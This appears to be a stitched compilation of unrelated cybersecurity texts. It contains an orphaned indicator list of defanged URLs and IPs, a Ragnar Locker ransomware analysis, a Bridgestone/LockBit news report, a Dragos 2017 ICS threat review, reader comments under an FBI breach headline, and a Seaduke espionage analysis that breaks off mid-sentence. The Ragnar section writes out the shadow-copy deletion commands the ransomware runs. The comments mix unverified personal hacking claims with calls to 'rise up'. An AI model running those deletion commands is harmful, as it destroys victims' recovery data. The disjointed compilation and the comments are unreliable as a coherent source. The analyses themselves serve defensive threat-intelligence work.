d20959b615af699d8fff3f0087faade16ed4919355a458a32f5ae61badb5b0ca **URLs** - hxxp://64.188.27.73/adm_bord/login_new_check.php - hxxp://gendoraduragonkgp126.com/board/index.php - hxxp://64.188.27.73/board/mfcom1.gif - hxxp://64.188.27.73/board/pct.gif - hxxp://64.188.27.73/board/logo_adm_org.gif - hxxp://64.188.27.73/board/tour_upt.html **IPs** - 193.56.28.251 - 52.202.193.124 - 64.188.27.73 - 151.106.2.139 - 66.154.102.91
# Ragnar Locker – Malware Analysis The popularity of ransomware threats does not appear to be decreasing. Instead, more sophisticated ransomware threats are being deployed. Ragnar Locker is a new data encryption malware in this style. Ragnar Locker is ransomware that affects devices running Microsoft Windows operating systems. It was initially observed towards the end of December 2019 as part of a series of attacks against compromised networks. In general, this malware is deployed manually after an initial compromise, network reconnaissance, and pre-deployed tasks on the network. This shows that this is a more complex operation than most ransomware propagation campaigns. Before starting the Ragnar Locker ransomware, attackers inject a module capable of collecting sensitive data from infected machines and upload it to their servers. Next, threat actors behind the malware notify the victim that the files will be released to the public if the ransom is not paid. ## Modus Operandi The next diagram shows how criminals are compromising infrastructures and organizations using this data encryption malware. As highlighted in the diagram above, there is a group of steps executed by Ragnar Locker operators every time an organization or infrastructure is impacted. Digging into the details, attackers first compromise networks, infrastructures, and organizations using found vulnerabilities or even through social engineering such as phishing attacks, spear phishing, and BEC attacks. During the compromise process, reconnaissance, pre-deployment tasks, and data exfiltration are performed before executing the piece of ransomware. When the data exfiltration process is completed, a ransomware deployment is performed manually. Notice that each malware sample is unique, with the specific ransom note hardcoded inside the malware. The affected group name, the links to the bitcoin wallet, and the links to a dark web blog are embedded inside the binary. When the ransomware starts, it enumerates running processes and stops if some of these services contain specific strings, such as: - Vss - sql - memtas - mepocs - sophos - veeam - backup - pulseway - logme - logmein - connectwise - splashtop - Kaseya Ransomware in this line often disables some services as a way to bypass security protections and also database and backup systems to increase the impact of the attack. Also, database and mail services are stopped so that their data can be encrypted during the infection process. One of the particularities that spotlight Ragnar Locker is that it specifically targets remote management software often used by managed service providers (MSPs), such as the popular ConnectWise and Kaseya software. This data encryption malware infects computers based on their language settings. When first started, Ragnar Locker checks the configured Windows language preferences. This piece of malware terminates the process if the setting is configured as one of the former USSR countries. After that, Ragnar Locker will begin the encryption process. When encrypting files, it will skip files in the following folders, file names, and extensions. One of the interesting findings is the “Tor browser” folder. This detail reveals this malware is also impacting security professionals and everyone that uses this specific web browser to navigate in the dark web. The completed list can be observed in the following table: - kernel32.dll - Windows - Windows.old - Tor browser - Internet Explorer - Google - Opera - Opera Software - Mozilla - Mozilla Firefox - $Recycle.Bin - ProgramData - All Users - autorun.inf - boot.ini - bootfont.bin - bootsect.bak - bootmgr - bootmgr.efi - bootmgfw.efi - desktop.ini - iconcache.db - ntldr - ntuser.dat - ntuser.dat.log - ntuser.ini - thumbs.db - .sys - .dll - .lnk - .msi - .drv - .exe Ragnar Locker adds the hardcoded extension “.ragnar_*” appended to the end of the file name, and “*” is replaced by a generated and unique ID. All the available files inside physical drives are encrypted, and in the end, the notepad.exe process is opened, showing the ransom note file created on the victim’s system directory. In detail, a ransom note file is dropped in every folder, not including those observed in the table. The ransom note file starts with the “RGNR_*” prefix, and the ID is also used and appended to the encrypted files. In order to encrypt the files, the malware gets and decodes the ransom note from the .keys sections, the public key, and some configs. This section is decoded in runtime. When a file is encrypted, the “RAGNAR” file marker is also added to the end of each encrypted file. This ransomware is not equipped with a mechanism to detect whether the computer has already been compromised. A particularity is that if the malware reaches the same device more than once, it will encrypt the device over and over again. Ragnar Locker and other mediatic ransomwares use several techniques and commands to damage the Windows shadow copies. With this process in place, repairing potential data encryption attacks is harder. - `vssadmin delete shadows /all /quiet` - `wmic.exe shadowcopy delete` ## Ragnar Blog, Ransom Page, and Chat Proof-of-Concept (PoC) files and images are published on the group blog on the dark web after a compromise. Inside the malware is hardcoded a link to a page with a countdown and the process to pay the ransom. ## Prevention Measures We are living in an era where ransomware continues to grow, and the number of attacks has increased, especially during the COVID-19 pandemic. There is no magic solution to prevent attacks of this nature; however, there is a set of good practices that can be applied in order to minimize the impact of data encryption attacks: - The use of an antivirus is mandatory. This software should be regularly updated. - Patch updates regularly and update all the software including operating systems, network devices, applications, mobile phones, and other software if applicable. - Maintain a proper backup and restore mechanism and make it mandatory. - Regularly test the recovery function of backup and restore procedures and also test the data integrity of backups. - Conduct simulated ransomware preparedness tests. This is a rule of thumb to check the response of your ecosystem against these kinds of attacks. - If you use Microsoft Office, install Microsoft Office viewers and always keep macros disabled by default. - Limit access to mapped drives whenever possible and keep file sharing disabled by default. In general, ransomware looks into shared drives and encrypts files available on the network. - Don’t enable remote services. Organizations with RDP, VPN, proxies, and servers are to be provided with better IT security standards. The article was initially published by Pedro Tavares. Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher, and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt. In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT, and security in Active Directory networks. He is also a Freelance Writer and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
# Bridgestone Americas Confirms Ransomware Attack, LockBit Leaks Data A cyberattack on Bridgestone Americas, one of the largest manufacturers of tires in the world, has been claimed by the LockBit ransomware gang. The threat actor announced that they will leak all data stolen from the company and launched a countdown timer, which is currently at less than three hours. Bridgestone has tens of production units across the world and over 130,000 employees (regular and contractual), as per the company’s data at the end of 2020. On February 27, Bridgestone started to investigate “a potential information security incident” detected in the morning hours of the same day. “Out of an abundance of caution, we disconnected many of our manufacturing and retreading facilities in Latin America and North America from our network to contain and prevent any potential impact,” Bridgestone said in a statement to media. No details about the incident emerged until today when the LockBit ransomware gang claimed the attack by adding Bridgestone Americas to the list of their victims. LockBit is one of the most active ransomware gangs today, targeting large corporations, sometimes asking for ransoms of tens of millions of U.S. dollars, as was the case with Accenture. It is unclear what data LockBit stole from Bridgestone or how detrimental leaking it would be to the company. At the time of writing, the countdown from the actor for publishing the files expires in about three hours and a half. In a report last month, industrial cybersecurity company Dragos notes that LockBit was the most active ransomware actor targeting the industrial sector last year, with 103 attacks, followed by the Conti gang with 63. The FBI in early February shared technical details and defense tips for LockBit ransomware attacks, noting that a bug in the malware allows showing a hidden debug window to view in real-time the state of data destruction. BleepingComputer has reached out to Bridgestone Americas for a statement on the recent incident but did not hear back by publishing time. **Update [March 11, 16:36 EST]:** Bridgestone Americas replied to BleepingComputer's request for comments saying that it is working with Accenture Security "to investigate and understand the full scope and nature of the incident" and that they are analyzing to determine what data was stolen. The full statement below: On February 27, 2022, Bridgestone Americas detected an IT security incident. Since then, we have proactively notified federal law enforcement and are staying in communication with them. We are also working around the clock with external security advisors, Accenture Security, to investigate and understand the full scope and nature of the incident. We have determined this incident to be the result of a ransomware attack. We have no evidence this was a targeted attack. Unfortunately, ransomware attacks similar to this one are increasing in sophistication and affecting thousands of organizations of all sizes. As part of our investigation, we have learned that the threat actor has followed a pattern of behavior common to attacks of this type by removing information from a limited number of Bridgestone systems and threatening to make this information public. We are committed to conducting a swift and decisive investigation to determine as quickly as possible what specific data was taken from our environment. Bridgestone treats the security of our teammates, customers, and partners’ information with the utmost importance. We will continue to communicate with them often, working together to mitigate potential harm from these types of incidents and to further enhance our cybersecurity measures as recommended by our internal and external security advisors.
# Industrial Control System Threats ## A Year in Threats 2017 represents a defining year in ICS security: two major and unique ICS-disruptive attackers were revealed; five distinct activity groups targeting ICS networks were identified; and several large-scale IT infection events with ICS implications occurred. While this represents a significant increase in ‘known’ ICS activity, Dragos assesses we are only scratching the surface of ICS-focused threats. 2017 may therefore represent a breakthrough moment, as opposed to a high-water mark – with more activity to be expected in 2018 and beyond. While our visibility and efforts at hunting are increasing, we recognize that the adversaries continue to grow in number and sophistication. By identifying and focusing on adversary techniques – especially those which will be required in any intrusion event – ICS defenders can achieve an advantageous position with respect to identifying and monitoring future attacks. This report seeks to inform ICS defenders and asset owners on not just known attacks, but to provide an overview for how an adversary must and will operate in this environment moving forward. By adopting a threat-centric defensive approach, defenders can mitigate not just the adversaries currently known, but future malicious actors as well. ## 2017 ICS Threat Review 2017 was a watershed year in industrial control systems (ICS) security largely due to the discovery of new capabilities and a significant increase in ICS threat activity groups. Cybersecurity risks to the safe and reliable operation of industrial control systems have never been greater. While numerous incidental infections occur in industrial networks on a regular basis, ICS-specific or ICS-tailored malware is rarer. Prior to 2017, only three families of ICS-specific malware were known: STUXNET, BLACKENERGY P2, and HAVEX. In 2017, the world learned of two new ICS-specific malware samples: TRISIS and CRASHOVERRIDE. Both of these samples led to industry firsts. CRASHOVERRIDE was the first malware to ever specifically target and disrupt electric grid operations and led to operational outages in Kiev, Ukraine in 2016 (although it was not definitively discovered until 2017). TRISIS is the first malware to ever specifically target and disrupt safety instrumented systems (SIS), and is the first malware to ever specifically target, or accept as a potential consequence, the loss of human life. The impact of these events cannot be understated. The number of adversaries targeting control systems and their investment in ICS-specific capabilities is only growing. There are now five current, active groups targeting ICS systems – far more than our current biases with respect to the skill, dedication, and resources required for ICS operations would have us believe possible. These events and continued activity will only drive a hidden arms race for other state and non-state actors to mature equivalent weapons to affect industrial infrastructure and ensure parity against possible adversaries. We regrettably expect ICS operational losses and likely safety events to continue into 2018 and the foreseeable future. ## A Summary 2017 featured multiple, concerning developments within the ICS security space. On a general level, wormable ransomware such as WannaCry and NotPetya provided notice to ICS owners and operators that industrial networks are far more connected to the IT environment than many realized. While significant and – for some organizations – costly, 2017 also featured some targeted events led by activity groups focused exclusively on the ICS environment. Previously, defenders perceived ICS threat actors as rare with significant technical limitations or hurdles to overcome. But 2017 demonstrated – either because ICS is an increasingly enticing target, or because researchers and defenders are merely ‘looking harder’ – that these groups are more common than previously thought. Toward that end, Dragos identified five active, ICS-focused groups that displayed various levels of activity throughout 2017. While only one has demonstrated an apparent capability to impact ICS networks through ICS-specific malware directly, all have engaged in at least reconnaissance and intelligence gathering surrounding the ICS environment. Overall, the scope and extent of malicious activity either directly targeting or gathering information on ICS networks increased significantly throughout 2017. As a result of these events, Dragos has been able to analyze and develop strategies for defending and mitigating various types of attack against ICS assets. ## New ICS-Focused Malware 2017 witnessed a dramatic expansion in ICS security activity and awareness. During the year, Dragos identified and analyzed CRASHOVERRIDE, responsible for the Ukraine power outage event that occurred in December of 2016, and then discovered and analyzed TRISIS, the first ICS malware designed to target industrial safety systems in November. Considering that defenders knew of only three ICS-focused malware samples before 2017 – STUXNET (pre-2010), BLACKENERGY2 (2012), and HAVEX (2013) – the emergence and discovery of two more this year indicates that adversaries are focusing more effort and resources on ICS targeting, and those capabilities are expanding. ## Traditional IT Malware Crippling Operational Networks Early 2017 saw the release of the EternalBlue vulnerability (MS17-010) and the subsequent WannaCry ransomware worm. The infection of operational networks with this ransomware and operational disruption illustrated the symbiotic relationship between the two networks. While engineers and operations staff have long held the separation between “business” and “operational” environments as the ICS model, the border is increasingly permeable and therefore operational ICS networks are facing traditional business threats. Closely following the WannaCry ransomware, adversaries launched NotPetya. What was unique is that this was a wiper masquerading as ransomware appearing to initially target Ukraine business and financial sectors. In addition to weaponizing the EternalBlue exploit, NotPetya leveraged credential capture and replay to provide multiple means of propagation, resulting in rapid spreading to organizations well-removed from Ukrainian business sectors. Perhaps the most sobering example is Maersk, which is estimated to have lost up to $300 million USD while also having to rebuild and replace most of its IT and operations network. To combat malware infection events such as the above examples, Dragos pursues ‘commodity’, non-ICS-focused malware through the MIMICS project: Malware In Modern ICS Environments. By aggressively hunting for standard IT threats that can pose a specific danger to ICS environments, Dragos works to provide early warning and defensive guidance on potentially overlooked threats. ## Adversaries Staying Busy: ICS-Focused Activity Dragos currently tracks five activity groups targeting ICS environments: either with an ICS-specific capability, such as CRASHOVERRIDE, or with an intention to gather information and intelligence on ICS-related networks and organizations. These groups have remained relatively constant regarding overall activity throughout the year, and Dragos is confident that additional unknown events have occurred. ## Recommendations An ICS intelligence-driven approach to threat intelligence is not universal. Indicators of compromise are not intelligence and will not save any organization. Organizations must understand and consume ICS-specific threat intelligence to monitor for adversary behaviors and tradecraft instead of simply detecting changes, anomalies, or after-the-fact indicators of compromise. ### Detection-in-Depth Just as defense-in-depth is a necessary component of modern cybersecurity, detection-in-depth must become a necessary component across all industrial control levels. Enhanced monitoring must especially include any permeable “barriers” such as the IT-OT network gap. ICS networks are increasingly connected not only to the IT network but also directly to vendor networks and external communication sources, leaving monitoring of the IT environments alone entirely inefficient. ### ICS-Specific Investigations In the event of a breach or disruption, there must be ICS-specific investigation capabilities and ICS-specific incident response plans. This is the only effective way of identifying root cause analysis and reducing mean time to recovery in the operations environments when facing industrial specific threats. ## 2017 ICS Threats in Detail ### CRASHOVERRIDE Although taking place in late December 2016, the ICS security community did not fully understand the extent and significance of the 2016 Ukrainian power outage until later in 2017. After identifying samples, Dragos determined that specifically-tailored malware caused the 2016 event by manipulating the breakers at the target substation in Ukraine. At the time, this represented only the second instance where malware was utilized to directly impact an ICS device or process with little human intervention – the other example being the Stuxnet worm. In this case, the adversary developed a modular attack framework that combined a reasonably protocol-compliant manipulation program to create an ICS impact (opening breakers to generate a power outage), with malicious wiper functionality to impede and delay system recovery. Further investigation identified a distinct activity group behind the CRASHOVERRIDE event, as both a developer and attacker: ELECTRUM. As detailed below, ELECTRUM is assessed to be a highly sophisticated, well-resourced activity group that remains active. Defenders lack any knowledge of CRASHOVERRIDE itself or similar capabilities used after the December 2016 event. While CRASHOVERRIDE, as deployed in the Ukraine attack, is not capable of impacting environments dissimilar to the equipment and protocol setup at the target utility, the framework and method of operations deployed provide an example for other adversaries to follow. Examples of new ‘tradecraft’ to emerge from CRASHOVERRIDE include: leveraging ICS protocols to create a malicious impact; creating modular malware frameworks designed to work with multiple protocols; and incorporating automatically-deployed wiper functionality chained to an ICS impact. Thus, even if CRASHOVERRIDE itself cannot be used again outside of very narrow circumstances, the tactics, techniques, and procedures (TTPs) employed by it can be adapted to new environments. By identifying these TTPs and building defenses around them, organizations can prepare themselves for the next CRASHOVERRIDE-like attack, rather than focusing exclusively on the specific events from December 2016, leaving the enterprise open and undefended against even minor variations in the attack. ### TRISIS TRISIS is the third-recorded ICS attack executed via malware, the previous two being Stuxnet and CRASHOVERRIDE. TRISIS is a specifically-targeted program designed to upload new ladder logic to Schneider Electric Triconex safety systems. The malware utilizes a specially-crafted search and upload routine to enable overwriting ladder logic within memory based on a deep understanding of the Triconex product. Unique compared to past ICS events, TRISIS targeted safety instrumented systems (SIS), those devices used to ensure systems remain in and fail to a ‘safe’ state within the physical environment. By targeting SIS, an adversary can achieve multiple, potentially dangerous impacts, ranging from extensive physical system downtime to false safety alarms, physical damage, and destruction. Additionally, by targeting a SIS, the adversary must either intend or willfully accept the loss of human life from the operation. Although extremely concerning both as an attack and as an extension of ICS operations to cover SIS devices, TRISIS represents a highly-targeted threat. Specifically, TRISIS is designed to target a specific variant of Triconex systems. Additionally, an adversary would need to achieve extensive access to and penetration of a target ICS network to be in a position to deliver a TRISIS-like attack. While TRISIS is profoundly concerning and represents a significant new risk for defenders to manage, TRISIS-like attacks require substantial investments in both capability development and network access before adversary success. While ICS defenders and asset owners should note the above regarding TRISIS’ immediate impact, in the longer-term TRISIS is likely to have a concerning effect on the ICS security space. Specifically, while TRISIS itself is not portable to any environment outside of the specific product targeted in the attack, the TRISIS tradecraft has created a ‘blueprint’ for adversaries to follow concerning SIS attacks. This is not bound to any specific vendor, and vendors such as ABB maturely and rightfully stated that similar styled attacks could equally impact their products. Furthermore, the very extension of ICS network attack to SIS devices sets a worrying precedent as these critical systems now become an item for adversary targeting. ### Disruptive IT Malware IT malware infecting and causing issues in operational networks is not a new phenomenon. Tracking the metrics related to these infections has always been difficult due to collection issues from these environments. This led to very low metrics, such as the ICS-CERT’s consistent ~200 incidents each year, to very high metrics including some vendors claiming upwards of 500,000 infections a year. For this reason, Dragos created the Malware in Modern ICS (MIMICS) project in late 2016 and running through early 2017. The research performed a census-styled metrics count of infections in ICS networks and identified around 3,000 unique industrial infections during the research period. This led to the estimate of around 6,000 unique infections in industrial environments every year including various types of viruses, trojans, and worms. While any of these infections could cause issues in operational environments, none represented the type of disruption that would come from the latest generation of ransomware worms. WannaCry appeared in May 2017 following the weaponization of the MS17-010 vulnerability in the Microsoft Server Message Block (SMB) protocol (EternalBlue), released as part of the ‘Shadow Brokers’ continual leak of alleged National Security Agency hacking tools. WannaCry itself was a form of ransomware designed to self-propagate via the MS17-010 vulnerability, resulting in not only a quick spread globally but also the systematic infection of networks due to the malware’s ‘wormable’ nature. While ransomware is typically not a concern for ICS defenders, WannaCry challenged the traditional view due to its self-propagating method exploiting a common ICS communication mechanism (SMB). Various data transfer functions, such as moving data from the ICS network (e.g., historians) to the business network for business intelligence purposes, rely upon SMB for functionality. Combined with poor patch management and enabling older, vulnerable forms of SMB instead of the newer SMB version 3 variant, hosts within the ICS network were not only reachable through pre-existing connections to the IT network but vulnerable as well. The result of the above circumstances was WannaCry spreading into and impacting ICS environments, including automotive manufacturers and shipping companies. The impact to operations from system loss due to encryption certainly varies, but in ICS environments, the damage potential is significant regarding lost production and capability. Furthermore, WannaCry was not the only ransomware type to implement worm-like functionality, with additional malware NotPetya and BadRabbit emerging over the course of 2017. Of these, NotPetya was especially concerning for several reasons: first, it included multiple means of propagation through credential capture and reuse aside from relying solely on the MS17-010 vulnerability; second, the malware was effectively a ‘wiper’ as encrypted filesystems could not be recovered. Although initially targeting Ukrainian enterprises, NotPetya soon spread to many organizations resulting in significant system impacts and, in several documented cases, production losses in ICS environments. Although not targeted at ICS environments, the impact of WannaCry and related malware demonstrates the capability for IT-focused malware to migrate into ICS environments. While patching may not be a viable solution for ICS defenders in cases such as MS17-010, strengthening and hardening defenses at porous boundaries could help. ## Activity Groups Dragos tracks and organizes related threat activity as ‘activity groups’: essentially, combinations of behavior or techniques, infrastructure, and victimology. This process avoids the potentially messy and hard-to-prove traditional attribution route – aligning activity to specific actors or nation-states – while also providing concrete benefits to defenders by organizing observed attackers into collections of identified actions. Within the scope of ICS network defense, Dragos currently tracks five activity groups that have either demonstrated the capability to attack ICS networks directly or have displayed an interest in reconnaissance and gaining initial access into ICS-specific entities. ### ELECTRUM ELECTRUM is responsible for the 2016 Ukrainian power outage event, created through CRASHOVERRIDE. In addition to this signature, high-profile event, Dragos has linked ELECTRUM with another group, the SANDWORM Advanced Persistent Threat (APT), responsible for the 2015 Ukrainian outage. ELECTRUM previously served as the ‘development group’ facilitating some SANDWORM activity – including possibly the 2015 Ukrainian power outage – but moved into a development and operational role in the CRASHOVERRIDE event. While ELECTRUM does not have any other high-profile events to its name as of this writing, Dragos has continued to track ongoing, low-level activity associated with the group. Most notably, 2017 did not witness another Ukrainian power grid event, unlike the previous two years. Based on available information, ELECTRUM remains active, but evidence indicates the group may have ‘moved on’ from its previous focus exclusively on Ukraine. While past ELECTRUM activity has focused exclusively on Ukraine, ongoing activity and the group’s link to SANDWORM provide sufficient evidence for Dragos to assess that ELECTRUM could be ‘re-tasked’ to other areas depending on the focus of their sponsor. Given ELECTRUM’s past activity and ability to successfully operate within the ICS environment, Dragos considers them to be one of the most significant and capable threat actors within the ICS space. ### COVELLITE COVELLITE first emerged in September 2017, when Dragos identified a small, but highly targeted, phishing campaign against a US electric grid company. The phishing document and subsequent malware – embedded within a malicious Microsoft Word document – both featured numerous techniques to evade analysis and detection. Although the attack identified is particular to the one targeted entity, Dragos soon uncovered attacks with varying degrees of similarity spanning Europe, North America, and East Asia. Common to all of these observed COVELLITE-related instances was the use of similar malware functionality, including the use of HTTPS for command and control (C2), and the use of compromised infrastructure as C2 nodes. As Dragos continued tracking this group, we identified similarities in both infrastructure and malware with the LAZARUS GROUP APT, also referred to as ZINC and HIDDEN COBRA. This activity group has variously been associated with destructive attacks against Sony Pictures and to bitcoin theft incidents in 2017. While Dragos does not comment on or perform traditional nation-state attribution, the combination of technical ability plus the willingness to launch destructive attacks displayed by the linked group LAZARUS makes COVELLITE an actor of significant interest. Dragos has yet to identify another grid-specific targeting event since September 2017 although similar malware and related activity continue. Finally, noted capabilities thus far would only suffice for initial network access and reconnaissance of a target network – COVELLITE has not used or shown evidence of an ICS-specific capability. ### DYMALLOY Dragos began tracking the activity group we refer to as DYMALLOY in response to Symantec’s ‘Dragonfly 2.0’ report. Importantly, Dragos found a significant reason to doubt an association to the legacy Dragonfly ICS actor with the newly-identified activity. Dragonfly was originally active from 2011 to 2014 and utilized a combination of phishing, strategic website compromise, and creating malicious variants of legitimate software to infiltrate ICS targets. Once access was gained, Dragonfly’s HAVEX malware leveraged OPC communications to perform survey and reconnaissance activities within the affected networks. Although no known destructive attacks emerged from these events, Dragonfly proved itself to be a capable, knowledgeable entity able to penetrate and operate within ICS networks. DYMALLOY is only superficially similar to Dragonfly, in that the group utilized phishing and strategic website compromises for initial access. However, even at this stage, DYMALLOY employed credential harvesting techniques by triggering a remote authentication attempt to attacker-controlled infrastructure, significantly different from the exploits deployed by Dragonfly. All subsequent activity shows dramatic changes in TTPs between the groups, such as differences between the content and targeting of the phishing messages, and the outbound SMB connections. Although DYMALLOY does not appear to be linked with Dragonfly, or at least not directly, the group remains a threat to ICS owners. Starting in late 2015 and proceeding through early 2017, DYMALLOY was able to successfully compromise multiple ICS targets in Turkey, Europe, and North America. Dragos has also learned that, while the group does not appear to have a capability equivalent to Dragonfly’s HAVEX malware, the group was able to penetrate the ICS network of several organizations, gain access to HMI devices, and exfiltrate screenshots. While less technically sophisticated than HAVEX, such activity shows clear ICS intent and knowledge of what information could be valuable to an attacker – either to steal information on process functionality in the target environment or to gather information for subsequent operations. Since Symantec’s public reporting, followed by additional US-CERT notifications several weeks later, Dragos has not identified any additional DYMALLOY activity. While analysts found some traces of DYMALLOY-related malware in mid-2017, no artifacts or evidence suggesting DYMALLOY operations appear since early 2017. Given the publicity, Dragos assesses with medium confidence that DYMALLOY has reduced operations or significantly modified them in response to security researcher and media attention. ### CHRYSENE CHRYSENE is an evolution of ongoing activity which initially focused on targets in the Persian or Arabian Gulf. CHRYSENE emerged as an off-shoot to espionage operations – as well as potential preparation actions before destructive attacks such as SHAMOON – that focused mostly on the Gulf area generally, and Saudi Arabia specifically. CHRYSENE differs from past activity in that it utilizes a unique variation of a malware framework employed by other groups such as Greenbug and OilRig, with a very particular C2 technique reliant upon IPv6 DNS and the use of 64-bit malware. Where CHRYSENE mostly differentiates itself is in targeting: all observed CHRYSENE activity focuses on Western Europe, North America, Iraq, and Israel. CHRYSENE targets oil and gas and electric generation industries primarily within these regions. This activity first emerged in mid-2017 and has continued at a steady state since. While CHRYSENE’s malware features notable enhancements over related threat groups using similar tools, Dragos has not yet observed an ICS-specific capability employed by this activity group. Instead, all activity thus far appears to focus on IT penetration and espionage, with all targets being ICS-related organizations. Although CHRYSENE conducts no known ICS disruption, the continued activity and expansion in targeting make this group a concern that Dragos continues to track. ### MAGNALLIUM DRAGOS began tracking MAGNALLIUM in response to public reporting by another security company on a group identified as ‘APT33’. The press initially treated MAGNALLIUM as a significant threat to ICS and critical infrastructure. A subsequent investigation by Dragos indicated that all of this group’s activity focused on Saudi Arabia, specifically government-run or -owned enterprises in petrochemicals and the aerospace industry. While the group targets organizations which contain ICS, the lack of an ICS-specific capability combined with the group’s very narrow targeting profile make this less of a concern. We continue to monitor MAGNALLIUM to determine if targeting changes, or if this group’s actions splinter resulting in new, ‘out of area’ operations, as observed with CHRYSENE.
# FBI Quietly Admits to Multi-Year APT Attack, Sensitive Data Stolen OPM was 20.5 million with 5.6 million fingerprints. Who can I contact regarding being a possible victim of these cyber threats via car internet hands-free calling via iPhone, Apple Pay, OnStar antenna technology and unencrypted bank along with law firm and government agency involvement, i.e. CMS and IRS? My family and I have been left disabled, homeless, victimized by property management companies, unable to obtain legal representation and evicted by a known corrupt mortgage company/bank. We have had pages of Apple iTunes charges, ATM withdrawals which mimic our past behavior, but of which we did not make. We had a large sum of money disappear from our bank account and were told my husband did it through the drive they and must have a double life I do not know about. I have fried, since 2011, two iMac hard drives which at the time of purchase was assured in my lifetime I could not fill up their available space or crash the hard drive, let alone two in three years. I'd worry about the networks connected to the FBI; this is the very reason the FBI is not capable of handling cryptographic keys. The private sector draws the most talent. Obviously, that talent wasn't there. It's bad enough they let something in, but not to detect it via log or IPS, that's a problem. The skills are in the private sector; this is why the FBI can't manage keys. I'd be concerned about the networks they attach to. I'm sure other agencies lose trust in them. Simple logging and IPS should have caught this within a day. It's poor management. How is this not front-page news? This breach far surpasses anything brought to light by our hero whistle-blowers, many whose lives have suffered terribly for exposing the truth to the people of this country. The people need only realize their majority power to change this way of life and rise up! #freeanons #deletetheelite Further info on this report... routine advisory my ass!!! Where's the accountability?!
# "Forkmeiamfamous": Seaduke, Latest Weapon in the Duke Armory Low-profile information-stealing Trojan is used only against high-value targets. Symantec has uncovered an elusive Trojan used by the cyberespionage group behind the "Duke" family of malware. Seaduke (detected by Symantec as Trojan.Seaduke) is a low-profile information-stealing Trojan which appears to be reserved for attacks against a small number of high-value targets. Seaduke has been used in attacks against a number of major, government-level targets. The malware hides behind numerous layers of encryption and obfuscation and is capable of quietly stealing and exfiltrating sensitive information such as email from the victim's computer. Seaduke has a highly configurable framework and Symantec has already found hundreds of different configurations on compromised networks. Its creators are likely to have spent a considerable amount of time and resources in preparing these attacks, and the malware has been deployed against a number of high-level government targets. While the Duke group began to distribute Cozyduke in an increasingly aggressive manner, Seaduke installations were reserved only for select targets. Seaduke victims are generally first infected with Cozyduke and, if the computer appears to be a target of interest, the operators will install Seaduke. ## Background The group behind Seaduke is a cyberespionage operation that is responsible for a series of attacks against high-profile individuals and organizations in government, international policy, and private research in the United States and Europe. It has a range of malware tools at its disposal, known as the Dukes, including Cozyduke (Trojan.Cozer), Miniduke (Backdoor.Miniduke), and Cosmicduke (Backdoor.Tinybaron). News of the Duke group first emerged in March and April of 2015, when reports detailing attacks involving a sophisticated threat actor variously called Office Monkeys, EuroAPT, Cozy Bear, and Cozyduke were published. Symantec believes that this group has a history of compromising governmental and diplomatic organizations since at least 2010. The group began its current campaign as early as March 2014, when Trojan.Cozer (aka Cozyduke) was identified on the network of a private research institute in Washington, D.C. In the months that followed, the Duke group began to target victims with "Office Monkeys"- and "eFax"-themed emails, booby-trapped with a Cozyduke payload. These tactics were atypical of a cyberespionage group. It’s quite likely these themes were deliberately chosen to act as a smokescreen, hiding the true intent of the adversary. The Duke group has mounted an extended campaign targeting high-profile networks over extended periods, something which is far beyond the reach of the majority of threat actors. Its capabilities include: - Attack infrastructure leveraging hundreds of compromised websites - Rapidly developed malware frameworks in concurrent use - Sophisticated operators with fine-tuned computer network exploitation (CNE) skills Although Cozyduke activity was first identified in March 2014, it wasn’t until July that the group managed to successfully compromise high-profile government networks. Cozyduke was used throughout these attacks to harvest and exfiltrate sensitive information to the attackers. In parallel, the Duke group was also installing separate malware onto these networks, namely Backdoor.Miniduke and the more elusive Trojan.Seaduke. It could use these payloads to exploit networks on multiple fronts and provide it with additional persistence mechanisms. ## The Miniduke Payload In July of 2014, the group instructed Cozyduke-infected computers to install Backdoor.Miniduke onto a compromised network. Miniduke has been the group’s tool of choice for a number of years in espionage operations predominantly targeting government and diplomatic entities in Eastern Europe and ex-Soviet states. "Nemesis Gemina" appears to be the internal name for the framework used by the group to identify the project, previously reported by Kaspersky. The following debug string was present in the sample used in these attacks: `C:\Projects\nemesis-gemina\nemesis\bin\carriers\ezlzma_x86_exe.pdb` This project name has been seen in Backdoor.Tinybaron (aka Cosmicduke) samples, which Symantec also attributes to the Duke group. This deployment of Miniduke and the technical similarities with Cozyduke provided strong indicators as to who was behind the attacks. ## The Seaduke Payload These attacks were already well underway when another group began to deploy a previously unknown piece of malware. In October 2014, the Seaduke payload began to appear within target networks. Although Seaduke was developed in Python, the overall framework bears a striking resemblance to Cozyduke in terms of operation. It’s unclear why the attackers waited until October to deploy Seaduke. Was it reserved for a more specific attack? Was part of their cover blown, necessitating the use of an alternative framework? The Seaduke framework was designed to be highly configurable. Hundreds of reconfigurations were identified on compromised networks. The communication protocol employed had many layers of encryption and obfuscation, using over 200 compromised web servers for command and control. Seaduke required a significant investment of time and resources in the preparatory and operational phases of the attack. ## Seaduke Delivery The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading "tasks" to a database file. Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine. One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website. ## Seaduke Operation The attackers can operate Seaduke in a broadly similar fashion to Cozyduke. The Seaduke control infrastructure is essentially distinct, opening up the possibility of sub-teams concurrently exploiting the target network. Unlike Cozyduke, Seaduke operators upload "task" files directly to the command-and-control (C&C) server; there is no database as such present. Seaduke securely communicates with the C&C server over HTTP/HTTPS beneath layers of encoding (Base64) and encryption (RC4, AES). To an untrained eye, the communications look fairly benign, no doubt an effort to stay under the radar on compromised networks. Seaduke has many inbuilt commands which are available to the attackers. They have the ability to retrieve detailed bot/system information, update bot configuration, upload files, download files, and self-delete the malware from the system. The self-delete function is interestingly called "seppuku." This is a form of Japanese ritual suicide. ## Seaduke Payloads The attackers have also developed a number of additional payloads. Operators can push these payloads onto infected machines for very specific attacks: - Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell) - Email extraction from the MS Exchange Server using compromised credentials - Archiving sensitive information - Data exfiltration via legitimate cloud services - Secure file deletion ## What Next? The Duke group has brought its operational capability to the next level. Its attacks have been so bold and aggressive that a huge amount of attention has been drawn to it, yet it appears to be unperturbed. Its success at compromising such high-profile targets has no doubt added a few feathers to its cap. Even the developers reveled in this fact, naming one of Seaduke’s functions 